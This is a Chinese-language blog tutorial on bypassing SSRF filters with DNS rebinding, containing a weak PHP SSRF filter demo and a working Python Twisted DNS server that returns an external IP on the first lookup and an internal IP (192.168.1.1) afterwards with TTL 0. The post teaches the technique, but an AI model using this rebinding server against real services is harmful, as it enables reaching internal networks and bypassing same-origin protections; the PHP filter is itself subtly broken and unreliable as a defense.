DNS Rebinding绕过SSRF过滤

SSRF过滤步骤:

  1. 判断域名是否合法
  2. 获取域名解析的IP
  3. 判断IP是否为内网IP

 

根据上述步骤用php实现了一个简单的过滤SSRF的demo:

<?php
//By AdminSS
header("Content-Type: text/html;charset=utf-8"); 
function CheckUrl($C_url){  
    $str="/^http(s?):\/\/(?:[A-za-z0-9-]+\.)+[A-za-z]{2,4}(?:[\/\?#][\/=\?%\-&~`@[\]\':+!\.#\w]*)?$/";  
    if (!preg_match($str,$C_url)){  
        return false;  
    }else{  
    return true;  
    }  
} 
function CheckReq($C_host){
  $ip = gethostbyname($C_host);
  if(filter_var($ip)){
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,$C_host);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_HEADER,0);
    $output = curl_exec($ch);
    return $output;
    curl_close();
  }else{
    return false;
  }
}
$host = $_GET["host"];
if(CheckUrl($host)){
  $Response = CheckReq($host);
  if($Response){
    echo $Response;
  }else{
    echo '请求非法';
  }
}else{
  echo '网址非法';
}
?>

看似这样防护没有问题,但是如果可以将域名商解析域名的TTL设置为0的话,就可以绕过这个限制。

 

TTL简单的说就是DNS记录在DNS服务器上缓存时间。

 

首次请求DNS服务器获取域名和IP的关系后,在缓存时间内会使用之前获取域名IP关系,不会再次请求匹配。如果缓存时间过了,当再次访问的时候会重新匹配。

 

一般国内域名商不可以设置TTL缓存为0,但是国外的一些域名商可以。设置了TTL为0,用户每次访问的时候都要去请求一次dns服务器。

 

大部分SSRF限制是要请求两次dns服务器的(第一次获取IP判断是否为内网,第二次请求IP页面资源)

 

function CheckReq($C_host){
  $ip = gethostbyname($C_host); //第一次请求获取dns获取域名的IP
  if(filter_var($ip)){
    $ch = curl_init();	
    curl_setopt($ch,CURLOPT_URL,$C_host);	//第二次请求获取页面内容
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_HEADER,0);
    $output = curl_exec($ch);
    return $output;
    curl_close();
  }else{
    return false;
  }
}

如果要绕过这个限制就必须让dns第一次请求解析的IP指向外网,第二次再指向内网

 

很简单,自建一个dns服务器,将请求的域名,第一次请求解析的是外网,第二次解析为内网就OK了。

 

在A记录解析的IP搭建一个DNS服务器。

 

这里搭建DNS服务器采用python的twisted库中的一个模块:

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server

record={}

class DynamicResolver(object):

    def _doDynamicResponse(self, query):
        name = query.name.name

        if name not in record or record[name]<1:
            ip="104.160.43.154"
        else:
            ip="192.168.1.1"

        if name not in record:
            record[name]=0
        record[name]+=1

        print name+" ===> "+ip

        answer = dns.RRHeader(
            name=name,
            type=dns.A,
            cls=dns.IN,
            ttl=0,
            payload=dns.Record_A(address=b'%s'%ip,ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional

    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))

def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )

    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()



if __name__ == '__main__':
    raise SystemExit(main())

成功请求绕过

同样,使用DNS Rebinding还可以绕一些浏览器的同源策略,域名限制等。


 

发表评论

电子邮件地址不会被公开。 必填项已用*标注

Are you human? Click the Banana...